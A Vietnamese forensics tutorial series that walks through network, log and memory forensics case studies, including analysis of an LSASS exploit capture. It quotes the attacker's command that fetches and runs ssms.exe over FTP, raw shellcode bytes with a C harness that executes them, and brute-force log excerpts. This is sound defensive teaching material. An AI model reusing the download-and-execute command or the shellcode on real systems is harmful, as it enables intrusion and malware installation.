Tải bản đầy đủ (.docx) (33 trang)

Tổng quan về computer forensics

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (664.47 KB, 33 trang )

Mục lục
Contents
Forensic 1 - Tổng quan về Computer Forensics
Có thể bạn đã đọc được ở đâu đó về Forensics, Digital Forensics hay Computer
Forensics nhưng vẫn chưa có một hình dung cụ thể về các khái niệm này.
Thực tế thì Computer Forensics không phải là khái niệm xa lạ với người làm
an toàn thông tin, nhưng với số đông chúng ta ở đây thì có lẽ nó vẫn còn là
một thứ khá mới mẻ. Trong loạt bài viết sắp tới, tôi hy vọng sẽ giúp các bạn
hiểu hơn về Computer Forensics và công việc của những người làm trong lĩnh
vực này.
Computer Forensics Là gì ?
Trong lĩnh vực an toàn thông tin, Computer Forensics hay còn gọi là điều tra
số là công việc phát hiện, bảo vệ và phân tích thông tin được lưu trữ, truyền
tải hoặc được tạo ra bởi một máy tính hoặc mạng máy tính, nhằm đưa ra các
suy luận hợp lý để tìm nguyên nhân, giải thích các hiện tượng trong quá trình
điều tra.
Khái niệm Forensics(Forensic Science - khoa học pháp y) như tên gọi của nó
xuất phát từ lĩnh vực y tế từ thế kỷ 18 và liên quan đến điều tra pháp y. Ngày
nay Forensics đã được mở rộng ra rất nhiều lĩnh vực khác.
Computer Forensics ra đời vào những năm 1980 do sự phát triển của máy
tính cá nhân, khi xảy ra trộm cắp thiết bị phần cứng, mất mát dữ liệu, vi
phạm bản quyền, virus máy tính phá hoại Các doanh nghiệp và chính phủ
các nước khi đó cũng ý thức hơn về vấn đề bảo mật.
Từ đây và trong các loạt bài về sau, khi tôi dùng từ Forensics thì mọi người
hiểu là đang nói về Computer Forensics.
Mục tiêu ?
Mục tiêu cốt lõi của Computer Forensic là phát hiện, bảo quản, khai thác, tài
liệu hóa và đưa ra kết luận về dữ liệu thu thập được. Cần lưu ý rằng dữ liệu
phải đảm bảo tính xác thực, và được lấy mà không bị hư hại, nếu không dữ
liệu đấy sẽ không còn ý nghĩa.
Tại sao phải Forensics ?


Nếu bạn là chủ nhân của một website nào đấy, một ngày đẹp trời website của
bạn bị hacker ghé thăm và để lại những hậu quả không mong muốn. Bạn
muốn xác định nguyên nhân bị tấn công, tìm cách khắc phục để sự việc không
tái diễn hay xa hơn là xác định thủ phạm. Đó là lúc bạn cần đến Forensics.
Đấy chỉ là một ví dụ khá điển hình, ngoài ra còn những trường hợp khác như
để phát hiện mã độc trên máy tính, kiểm tra sự bất thường trong mạng, phát
hiện sự xâm nhập Nói chung Forensics giúp chúng ta xác định được nguyên
nhân sự cố và đưa ra các biện pháp giải quyết tiếp theo.
Nói về Forensics thì không thể không nhắc đến một nguyên tắc kinh điển của
khoa học điều tra
Nguyên tắc trao đổi của Locard
Edmond Locard(1877 – 1966) được mệnh danh là Sherlock Holmes của nước
Pháp. Ông là một chuyên gia điều tra pháp y, sáng lập Viện Hình sự học của
trường Đại học Tổng hợp Lyon.
Locard phát biểu một nguyên tắc mà sau này trở thành kim chỉ nam ngành
khoa học điều tra. Ông ta cho rằng bất cứ khi nào hai người tiếp xúc với
nhau, một thứ gì đó từ một người sẽ được trao đổi với người khác và ngược
lại. Có thể là bụi, tế bào da, bùn đất, sợi, mạt kim loại. Nhưng việc trao đổi
này có xảy ra - vì thế chúng ta có thể bắt được nghi phạm.
Với Computer Forensics, nguyên tắc này cũng hoàn toàn đúng. Khi bạn làm
việc với máy tính hay một hệ thống thông tin, tất cả hành động của bạn đều
bị ghi vết lại (mặc dù việc tìm ra thủ phạm trong trường hợp này khó khăn và
mất nhiều thời gian hơn rất nhiều)
Đặc điểm của Computer Forensics
• Dữ liệu cần phân tích lớn, nếu dữ liệu chỉ là text thôi thì với dung
lượng vài mb chúng ta cũng có 1 lượng thông tin rất lớn rồi. Trong thực tế
thì còn khổng lồ hơn.
• Dữ liệu thường không còn nguyên vẹn, bị thay đổi, phân mảnh, và có
thể bị lỗi
• Bảo quản dữ liệu khó khăn, dữ liệu thu được có thể có tính toàn vẹn

cao, chỉ một thay đổi nhỏ cũng có thể làm ảnh hưởng đến tất cả.
• Dữ liệu forensic có thể gồm nhiều loại khác nhau: file hệ thống, ứng
dụng,
• Vấn đề cần forensics là khá trừu tượng: mã máy, dump file, network
packet
• Dữ liệu dễ dàng bị giả mạo
• Xác định tội pham khó khăn, có thể bạn tìm ra được dữ liệu về
hacker(IP, email, profile ) nhưng để xác định được được đối tượng thật
ngoài đời thì cũng không hề đơn giản.
Forensics những gì ?
Computer Forensic thường làm việc với những đối tượng sau:
• Physical Media, Media Management: Liên quan đến phần cứng, tổ chức
phân vùng, phục hồi dữ liệu khi bị xóa
• File System: Phân tích các file hệ thống, hệ điều hành windows, linux,
android
• Application: Phân tích dữ liệu từ ứng dụng như các file Log, file cấu
hình, reverse ứng dụng
• Network: Phân tích gói tin mạng, sự bất thường trong mạng
• Memory: Phân tích dữ liệu trên bộ nhớ, thường là dữ liệu lưu trên RAM
được dump ra
Ai làm Forensic ?
Những người làm công việc Forensics thường phải có kinh nghiệm và kiến
thức khá rộng về khoa học máy tính, mạng, bảo mật. Trong những trường
hợp cần kiến thức chuyên sâu, sẽ có nhiều người cùng tham gia để giải quyết.
Ở các doanh nghiệp lớn, những người làm An toàn vận hành(Security
Operator) sẽ đảm nhận công việc này.
Với những người làm bảo mật thì đây cũng là một công việc rất thú vị.
Forensic 2 - Network Forensics
Trong bài Tổng quan về Computer Forensics lần trước, tôi đã đề cập qua về
khái niệm Forensics, đặc điểm cũng như những mảng Forensics thường tiếp

cận. Nội dung bài viết lần này, tôi muốn đề cập cụ thể hơn về Forensics trên
môi trường mạng, hay còn gọi là Network Forensics.
Công việc chính của nhóm này là thu thập và phân tích các gói tin được
truyền qua các thiết bị đầu cuối, từ đó phát hiện, cảnh báo các dấu hiệu bất
thường trong hệ thống mạng.
Cũng phải nói thêm, trong lĩnh vực Forensics, công cụ là thứ không thể thiếu
sau kiến thức và với mỗi loại thì thường có những công cụ chuyên dụng. Bạn
sẽ thấy rõ điều này qua bài này và các bài chi tiết khác về sau. Với Network
Forensics, chúng ta có
• Wireshark, Network Miner bắt và phân tích gói tin với giao diện đồ họa
• Tcpdump phân tích gói tin với giao diện console
• p0f dùng để phát hiện hệ điều hành, console trên nền Linux
• netcat, debug kết nối, đóng vai trò cả client và server, console trên windows
và linux
• Snort, opensource phát hiện xâm nhập
• Nmap, tcpxtract, ssldump, nslookup, maxmind và rất nhiều công cụ
khác
Case-Study: Một máy tính trong mạng nội bộ bị nghi ngờ tấn công từ xa, quản
trị mạng dùng những công cụ chuyên dụng bắt các kết nối đến máy nạn nhân
trong thời gian diễn ra cuộc tấn công. Sau đó dump ra toàn bộ nội dung này
ra file(Link tải). Yêu cầu phân tích file dump và tìm ra nguồn gốc và nguyên
nhân vụ tấn công để có giải pháp khắc phục.
Để giải quyết yêu cầu trên, chúng ta sẽ lần lượt vượt qua từng vấn đề nhỏ.
Lưu ý ở đây file dump có đuôi mở rộng .pcap(packet capture), tôi sẽ sử dụng
wireshark là công cụ phân tích chính. Wireshark là một chương trình bắt và
phân tích gói tin, giao thức rất mạnh, chi tiết về nó mọi người có thể tìm hiểu
thêm ở những tài liệu khác.
1. Địa chỉ IP của kẻ tấn công và của nạn nhân
Mở file .pcap bằng wireshark, chúng ta có thể thấy ngay danh sách các gói tin
truy cập đến máy nạn nhân

Vào Menu Statistics/Enpoint List/IP v4 để xem danh sách các IP bắt được.
Có tất cả 2 IP:
• 192.150.11.111 là IP nội bộ, chính là IP của nạn nhân
• 98.114.205.102 là IP của kẻ tấn công
2. Thông tin về kẻ tấn công
Xem xét một gói tin cụ thể:
Thông tin trong khung chi tiết gói tin, cho ta biết máy kẻ tấn công có địa chỉ
MAC là 0008e23b5601(Cisco)
Để tìm thêm thông tin về IP, bạn có thể dùng các công cụ geoip, whois trực
tuyến hay tích hợp luôn và wireshark như hướng dẫn ở bài này
Wireshark.html
Tôi sử dụng trang và ra được một số thông tin như
thế này:
3. Có bao nhiêu phiên TCP(TCP session) trong file dump này ?
Khi nhìn vào khung chính của wireshark bạn sẽ thấy có rất nhiều gói tin,
nhưng phần lớn trong chúng là những gói tin chào hỏi, xác thực, truyền nhận
dữ liệu của một phiên TCP nào đó
Để xem số phiên TCP hiện có, vào Menu Statistics > Conversations, tab TCP.
Chúng ta sẽ thấy thực tế chỉ có 5 phiên qua các cổng khác nhau:
4. Cuộc tấn công kéo dài bao lâu ?
Chỉ cần xem thời gian của frame đầu tiên và frame cuối cùng là sẽ câu trả lời
- Frame đầu tiên:
- Frame cuối cùng:
Như vậy cuộc tấn công diễn ra trong khoảng 16 giây.
5. Dịch vụ nào trên máy nạn nhân có thể là mục tiêu tấn công ? Lỗ hổng
là gì ?
Nhìn vào các phiên TCP được liệt kê phía trên, tôi chú ý đến cổng 445 của
máy nạn nhân. Đây là cổng chạy giao thức SMB(Server Message Block), cung
cấp khả năng chia sẻ file giữa các máy tính hoặc máy in và máy tính. SMB
từng được biết đến với việc dính một số lỗ hổng bảo mật.

Lọc các Packet theo info, duyệt lần lượt tôi phát hiện thêm một nghi vấn mới:
Nếu bạn thử Google thì sẽ biết DsRoleUpgradeDownlevelServer là một hàm
trong thư viện NETAPI32.dll chạy dịch vụ Local Security Authority Subsystem
Service(LSASS) trên windows thông qua giao thức SMB.
Và điều quan trọng là LSASS từng bị dính lỗi bảo mật với hàm
DsRoleUpgradeDownlevelServer(), chi tiết lỗi được công bố tại CVE-2003-
0533( =CAN-2003-0533). Microsoft
cũng đã đưa ra bản vá cho lỗi này với mã update MS04-
011( letin/ms04-011).
Từ đây chúng ta có thêm một kết luận là máy tính nạn nhân chạy hệ điều
hành windows, cụ thể là windows xp hoặc windows 2000. Bạn có thể kiểm tra
điều này bằng việc lọc các gói tin SMB và xem thuộc tính native OS trong đó:
Vậy là chúng ta đã biết được một số thông tin về kẻ tấn công, biết được dịch
vụ nào trên máy nạn nhân là mục tiêu của cuộc tấn công này. Tôi tạm dừng ở
đây, ở bài tiếp theo chúng ta sẽ phân tích kỹ hơn cách hacker thực hiện vụ
tấn công, hắn đã làm như thế nào để khai thác lỗ hổng trên.
Forensic 3 - Network Forensics(tiếp)
Chúng ta tiếp tục với Case Study về Network Forensics, trong phần này tôi sẽ
đề cập sâu hơn về cuộc tấn công của Hacker
6. Mô phỏng lại cuộc tấn công của Hacker
6.1. Quét cổng 445 để xem cổng này có mở không, điều này thể hiện
qua các gói tin SYN, SYN/ACK, ACK, FYN liên tục
6.2. Thiết lập kết nối IPC và request đến dịch vụ lsarpc
Bạn đọc có thể tìm hiểu thêm về hình thức kết nối IPC$, ở đây hacker đã gửi
kết nối với giá trị username và password đều rỗng, còn được biết đến với kiểu
tấn công Null Session.
6.3. Khai thác lỗi Buffer Over Flow của hàm
DsRoleUpgradeDownlevelServer() thông qua việc truyền shellcode(Frame
#33)
6.4. Shellcode mở cổng 1957 cho phép backdoor chạy trên đó, hacker

qua cổng này truyền command vào(Frame #42)
Lệnh mà hacker thực hiện là:
Mã:
echo open 0.0.0.0 8884 > o&echo user 1 1 >> o &echo get ssms.exe >> o &echo
quit >> o &ftp -n -s:o &del /F /Q o &ssms.exe
Lệnh này có tác dụng yêu cầu máy nạn nhân kết nối ftp đến cổng 8884 của
hacker và download file ssms.exe sau đó thực thi file này. Đến đây việc khai
thác coi như hoàn thành.
Mọi người có thể chú ý thêm các frame từ #71 về sau, đây là các đoạn nhận
file ssms.exe, file được gửi qua socket thành các mảnh nhỏ và ghép lại sau đó
7. Truy tìm mã độc
Như vậy là chúng ta đã hình dung được cuộc tấn công xảy ra như thế nào,
nhưng một vụ điều tra thì không chỉ có vậy. Phải xác định được mã độc mà
hacker sử dụng hoạt động như thế nào, nhưng trước hết cần thu được mẫu
này.
Đầu tiên là Shellcode mà hacker đã sử dụng. Chọn Frame #33, trong khung
Packet Bytes chọn chế độ Reassembled TCP chúng ta sẽ thấy đầy đủ nội dung
mà hacker gửi đến máy nạn nhân.(Khi gửi tin qua TCP thì dữ liệu có thể phân
mảnh ở nhiều gói tin khác nhau, Reassembled TCP sẽ giúp chúng ta ghép các
mảnh dữ liệu này lại với nhau)
Sau khi loại bỏ các lệnh NOPE(mã 90) thì thu được shellcode thực sự mà
hacker đã dùng:
Mã:
\
xeb\x10\x5a\x4a\x33\xc9\x66\xb9\x7d\x01\x80\x34\x0a\x99\xe2\xfa\xe
b\x05\xe8\xeb\xff\xff\xff\x70\x95\x98\x99\x99\xc3\xfd\x38\xa9\x99\x9
9\x99\x12\xd9\x95\x12\xe9\x85\x34\x12\xd9\x91\x12\x41\x12\xea\xa5
\x12\xed\x87\xe1\x9a\x6a\x12\xe7\xb9\x9a\x62\x12\xd7\x8d\xaa\x74\
xcf\xce\xc8\x12\xa6\x9a\x62\x12\x6b\xf3\x97\xc0\x6a\x3f\xed\x91\xc0
\xc6\x1a\x5e\x9d\xdc\x7b\x70\xc0\xc6\xc7\x12\x54\x12\xdf\xbd\x9a\x

5a\x48\x78\x9a\x58\xaa\x50\xff\x12\x91\x12\xdf\x85\x9a\x5a\x58\x78
\x9b\x9a\x58\x12\x99\x9a\x5a\x12\x63\x12\x6e\x1a\x5f\x97\x12\x49\
xf3\x9a\xc0\x71\x1e\x99\x99\x99\x1a\x5f\x94\xcb\xcf\x66\xce\x65\xc3
\x12\x41\xf3\x9c\xc0\x71\xed\x99\x99\x99\xc9\xc9\xc9\xc9\xf3\x98\xf
3\x9b\x66\xce\x75\x12\x41\x5e\x9e\x9b\x99\x9e\x3c\xaa\x59\x10\xde\
x9d\xf3\x89\xce\xca\x66\xce\x69\xf3\x98\xca\x66\xce\x6d\xc9\xc9\xca\
x66\xce\x61\x12\x49\x1a\x75\xdd\x12\x6d\xaa\x59\xf3\x89\xc0\x10\x9
d\x17\x7b\x62\x10\xcf\xa1\x10\xcf\xa5\x10\xcf\xd9\xff\x5e\xdf\xb5\x9
8\x98\x14\xde\x89\xc9\xcf\xaa\x50\xc8\xc8\xc8\xf3\x98\xc8\xc8\x5e\x
de\xa5\xfa\xf4\xfd\x99\x14\xde\xa5\xc9\xc8\x66\xce\x79\xcb\x66\xce\x
65\xca\x66\xce\x65\xc9\x66\xce\x7d\xaa\x59\x35\x1c\x59\xec\x60\xc8
\xcb\xcf\xca\x66\x4b\xc3\xc0\x32\x7b\x77\xaa\x59\x5a\x71\x76\x67\x
66\x66\xde\xfc\xed\xc9\xeb\xf6\xfa\xd8\xfd\xfd\xeb\xfc\xea\xea\x99\xd
a\xeb\xfc\xf8\xed\xfc\xc9\xeb\xf6\xfa\xfc\xea\xea\xd8\x99\xdc\xe1\xf0\
xed\xcd\xf1\xeb\xfc\xf8\xfd\x99\xd5\xf6\xf8\xfd\xd5\xf0\xfb\xeb\xf8\xe
b\xe0\xd8\x99\xee\xea\xab\xc6\xaa\xab\x99\xce\xca\xd8\xca\xf6\xfa\xf
2\xfc\xed\xd8\x99\xfb\xf0\xf7\xfd\x99\xf5\xf0\xea\xed\xfc\xf7\x99\xf8\
xfa\xfa\xfc\xe9\xed\x99\xfa\xf5\xf6\xea\xfc\xea\xf6\xfa\xf2\xfc\xed\x99
Chúng ta tiến hành phục hồi shellcode này bằng cách đưa đoạn shellcode này
vào một chương trình test shell như thế này:
Mã:
#include<stdio.h>
#include<string.h>

unsigned char code[] = "";

int main()
{
int (*ret)() = (int(*)())code;
ret();

}
Với file ssms.exe, như tôi đã trình bày ở phần trước được download về máy
nạn nhân thông qua socket và cũng bị phân mảnh trong nhiều gói tin. Gộp file
đầy đủ bằng cách sử dụng tính năng Follow TCP Stream của Wireshark
Save As file này ra .exe
8. Phân tích mã độc
Ở bước trên, chúng ta đã thu được một file shellcode và một file ssms.exe.
Việc tiếp theo là phân tích cụ thể xem những file thực thi này làm việc gì trên
máy nạn nhân. Bạn đọc nên đọc thêm lọat bài về Reverse Engineering trên
WhiteHat để hiểu rõ về công việc này.
Tôi sẽ không phân tích kỹ bước này ở đây, lí do là sẽ vượt xa phạm vi chủ đề
Network Forensics. Kết quả kiểm tra ssms.exe trên virustotal cũng không mấy
ngạc nhiên khi 48/51 AV nhận diện là virus:
is/1396850758/
Đến đây cuộc điều tra cũng có thể xem như đi đến hồi kết, chúng ta đã tìm ra
được một số thông tin về hacker (mặc dù để tìm ra kẻ tấn công ngoài đời thì
cần phụ thuộc cả vào yếu tố pháp luật hơn). Dưới góc độ kỹ thuật thì chúng
ta biết được cách hacker tấn công hệ thống như thế nào, biết được hệ thống
bị dính những lỗ hổng gì và những nguy cơ tiềm ẩn trong đó để cập nhật bản
vá và khắc phục sự cố không tái diễn trong tương lai.
Forensic 4 - Log Mining
Log là một dữ liệu quan trọng trong quá trình điều tra số, hầu như tất cả dấu
vết của một cuộc tấn công đều được lưu lại tại đây.
Log Mining hay Log Forensics là thuật ngữ để chỉ về một cuộc điều tra dựa
trên Log.
Mặc dù chứa rất nhiều thông tin có ích, nhưng việc phân tích Log lại không
hề đơn giản. Dữ liệu lớn, nhiều file riêng lẻ, mỗi loại có một cấu trúc khác
nhau và có thể bị xóa, sửa đổi là những bất lợi khi làm việc với Log.
Việc phân tích Log có thể sử dụng một số công cụ như:
• Apache Log Viewer(chuyên dùng phân tích log Apache)

• Log Parse(chuyên dùng phân tích các loại log của Microsoft như IIS,
NCSA )
• Logwatch(monitor log trên linux)
• Web Log Expert
• Splunk(monitor, phân tích big data, các log dung lượng lớn, mất phí)

Ngoài ra notepad hay các script tự viết cũng là những công cụ hữu ích để đọc
log.
Case-Study: Một máy chủ linux bị nghi ngờ xâm nhập, toàn bộ log đã
được backup ra tại đây. Tìm hiểu chi tiết về cuộc tấn công này.
Toàn bộ log ở đây đều trên linux, để hiểu hơn về các loại log trong môi
trường này bạn nên xem qua ở đây:

1 Hệ thống có dấu hiệu bị xâm nhập không? Và nếu có thì phương
pháp tấn công là gì ?
Kiểm tra file auth.log(đây là log xác thực của hệ thống trên linux, có thể tìm
thấy tại /var/log/auth.log), chúng ta sẽ thấy sự bất thường:
Mã:
Apr 19 05:26:04 app-1 sshd[7369]: pam_unix(sshd:auth): authentication
failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=58.17.30.49 user=root
Apr 19 05:26:06 app-1 sshd[7369]: Failed password for root from 58.17.30.49
port 53236 ssh2
Apr 19 05:26:08 app-1 sshd[7371]: pam_unix(sshd:auth): authentication
failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=58.17.30.49 user=root
Apr 19 05:26:10 app-1 sshd[7371]: Failed password for root from 58.17.30.49
port 53453 ssh2
Apr 19 05:26:12 app-1 sshd[7373]: pam_unix(sshd:auth): authentication
failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=58.17.30.49 user=root
Apr 19 05:26:15 app-1 sshd[7373]: Failed password for root from 58.17.30.49
port 53655 ssh2

Apr 19 05:26:17 app-1 sshd[7375]: pam_unix(sshd:auth): authentication
failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=58.17.30.49 user=root
Trong 1 giây có hàng loạt request yêu cầu đăng nhập bị thất bại, chứng tỏ kẻ
tấn công đang tìm cách “đoán”(bruteforce) mật khẩu để đăng nhập hệ thống
thông qua SSH.
2 Có bao nhiêu IP thực hiện tấn công ? Bao nhiêu trong đó tấn công
thành công ?
Khoanh vùng các IP thực hiện việc brute force phía trên, có thể xác định được
28 IP tấn công tất cả, trong đó có 6 IP đã brute force thành công.
Mã:
Apr 19 05:42:27 app-1 sshd[9031]: Accepted password for root from
219.150.161.20 port 40877 ssh2
Apr 19 10:45:36 app-1 sshd[28030]: Accepted password for root from
222.66.204.246 port 48208 ssh2
Apr 19 22:37:24 app-1 sshd[2012]: Accepted password for root from
190.166.87.164 port 50753 ssh2
Lưu ý là tôi chỉ liệt kê 1 phần của log.
Danh sách các IP đã thành công:
• 219.150.161.20
• 222.66.204.246
• 121.11.66.70
• 222.169.224.197
• 122.226.202.12
• 61.168.227.12
Một điểm khá thú vị là 2 IP 121.11.66.70 và 222.66.204.246 vẫn thực hiện
brute force sau khi đã attack thành công.
Công việc phân tích này có thể đơn giản hóa bằng cách viết các script để thực
hiện một cách tự động.
3 Chuyện gì xảy ra sau khi hệ thống bị xâm nhập?
Thời điểm đầu tiên mà log ghi nhận sự xâm nhập thành công là vào Apr 19

05:41:44 từ địa chỉ 219.150.161.20.
Quan sát các đoạn log khác từ sau thời điểm này, chúng ta thấy:
• Từ auth.log, có một số user được tạo mới như packet, dhg, messagebus, fido,
wind3str0y. Search log với từ khóa useradd để thấy kết quả
• Ứng dụng được cài thêm như nmap, psybnc, eggdrop, exim mail Cái này
kiểm tra qua log apt và dpkg, đây là nơi ghi lại log cài, setting ứng dụng.
• Mở cổng inbound 2424, 53, 113. Xem ở auth.log
Mã:
Apr 24 20:03:06 app-1 sudo: root : TTY=pts/2 ; PWD=/etc ; USER=root ;
COMMAND=/sbin/iptables -A INPUT -p ssh -dport 2424 -j ACCEPT
Apr 24 20:03:44 app-1 sudo: root : TTY=pts/2 ; PWD=/etc ; USER=root ;
COMMAND=/sbin/iptables -A INPUT -p tcp -dport 53 -j ACCEPT
Apr 24 20:04:13 app-1 sudo: root : TTY=pts/2 ; PWD=/etc ; USER=root ;
COMMAND=/sbin/iptables -A INPUT -p udp -dport 53 -j ACCEPT
Apr 24 20:06:22 app-1 sudo: root : TTY=pts/2 ; PWD=/etc ; USER=root ;
COMMAND=/sbin/iptables -A INPUT -p tcp dport ssh -j ACCEPT
Apr 24 20:11:00 app-1 sudo: root : TTY=pts/2 ; PWD=/etc ; USER=root ;
COMMAND=/sbin/iptables -A INPUT -p tcp dport 53 -j ACCEPT
Apr 24 20:11:08 app-1 sudo: root : TTY=pts/2 ; PWD=/etc ; USER=root ;
COMMAND=/sbin/iptables -A INPUT -p tcp dport 113 -j ACCEPT
4 Server này còn có những vấn đề gì khác ?
• Rõ ràng là SSH cho phép truy cập tài khoản root, mật khẩu yếu dẫn đến việc
bị bruteforce
• Từ daemon.log thấy:
Mã:
Mar 18 10:18:42 app-1 /etc/mysql/debian-start[7566]: WARNING:
mysql.user contains 2 root accounts without password!
2 tài khoản root không đặt mật khẩu, Đây rõ ràng là một vấn đề an ninh
nghiêm trọng, do lỗi cấu hình của quản trị viên
• Log access của web cho thấy có 1 số request nhờ server thành 1 proxy,

nhưng đã bị chặn.
Mã:
221.192.199.35 - - [19/Apr/2010:09:23:37 -0700] "GET
/>hash=FABB83E72D135F1018046CC4005088B36F8D0BEDCEA7 HTTP/1.0"
404 1466 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
YhL5XgoAAQ4AAEP2EQcAAAAC 11250471
Forensic 5 - Memory Forensics
Giới thiệu:
- Trước hết, xin được phép nhắc lại kiến thức về Computer Foresic đã được đề
cập trong các bài viết trước trên whitehat forum:
“Computer Forensics Là gì ?
Trong lĩnh vực an toàn thông tin, Computer Forensics hay còn gọi là điều tra
số là công việc phát hiện, bảo vệ và phân tích thông tin được lưu trữ, truyền
tải hoặc được tạo ra bởi một máy tính hoặc mạng máy tính, nhằm đưa ra các
suy luận hợp lý để tìm nguyên nhân, giải thích các hiện tượng trong quá
trình điều tra.”
- Trong bài viết này, chúng ta đề cập đến Memory Forensics, đây cũng là một
mảng quan trọng và cũng rất thú vị của forensics với đối tượng là dữ liệu
được lưu trên bộ nhớ, thường là dữ liệu được dump ra từ RAM.
- Memory Forensics mang những đặc điểm chung của Computer Forensics là:
+ Dữ liệu cần phân tích thường lớn hoặc rất lớn
+ Dữ liệu có thể không còn nguyên vẹn, bị thay đổi, bị phần mảng.
+ Dữ liệu dễ dàng bị giả mạo
Công cụ:
- Hiện tại để dump dữ liệu từ RAM trên Windows, ta có thể sử dụng những
công cụ như DumpIt…
- Để phân tích file dump, thời kì đầu các chuyên gia về Memory Forensics
thường sử dụng những strings và grep, đây là những công cụ tìm kiếm dữ
liệu trong file theo khuôn mẫu chứ không được phát triển cho Forensics.
- Về sau, xuất hiện những công cụ được phát triển dành riêng cho Memory

Forensics như Volatility, MoonSols…
Case study:
Bạn nhận được một file dmp từ một máy tính bị tấn công. Hãy tìm cách lấy ra
được nhiều thông tin nhất có thể về sự cố.
File:
xcom.vmem
Công cụ:
Volatility
1. Lấy thông tin về HĐH:

×